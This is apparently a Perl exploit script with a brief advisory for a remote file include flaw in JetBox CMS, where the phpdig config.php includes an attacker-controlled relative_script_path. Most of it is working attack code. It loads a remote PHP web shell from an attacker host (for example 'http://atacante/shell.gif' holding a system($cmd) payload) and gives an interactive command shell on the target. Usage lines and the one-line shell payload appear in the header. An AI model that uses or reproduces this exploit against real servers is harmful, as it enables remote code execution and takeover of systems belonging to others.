JetBox CMS Remote File Include
#!/usr/bin/perl
############
# JetBox CMS Remote File Include
# Exploit & Advisory: beford <xbefordx gmail com>
#
# uso:# perl own.pl <host> <cmd-shell-url> <cmd-var>
# perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd
#
# cmd shell example: <? system($cmd); ?>
# cmd variable: cmd;
#
#############
# Description
###########
# Vendor: http://jetbox.streamedge.com/
# The file jetbox/includes/phpdig/includes/config.php uses the variable
# relative_script_path in a include() function without being declared.
# This issue has already been fixed in phpdig, but jetbox still uses a
# vulnerable version.
############
# Vuln code
############
#if (is_file("$relative_script_path/locales/$phpdig_language-language.php"))
# {include "$relative_script_path/locales/$phpdig_language-language.php";}
#else
# {include "$relative_script_path/locales/en-language.php";}
############
use LWP::UserAgent;
$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while()
{
print "[shell] \$";
while(<STDIN>) {
$cmd=$_;
chomp($cmd);
if (!$cmd) {
last;
}
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET
=>$Path.'includes/phpdig/includes/config.php?relative_script_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or
die "\nCould Not connect\n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;
if ($return =~/Error: HTTP request failed!/ || $return =~/: No
se
puede ejecutar un comando en blanco <b>/) {
print "\nNo se puede conectar al host de la cmd o el comando
es invalido\n";
exit;
} elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
print "\nComando Invalido, o no hubo respuesta\n\n";
}
if ($return =~ /(.*)/) {
$finreturn = $1;
$finreturn=~ tr/[ê]/[\n]/;
print "\r\n$finreturn\n\r";
last;
} else {
print "[shell] \$";
}
}
} last;
sub head() {
print
"\n============================================================================\r\n";
print " JetBox CMS Remote File Include\r\n";
print
"============================================================================\r\n";
}
sub usage() {
head();
print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";
print " <host> - Full Path : http://host/claroline/ [remember the
trailing slash noob]\r\n";
print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";
print " <var> - var name used in phpshell : cmd \r\n";
exit();
}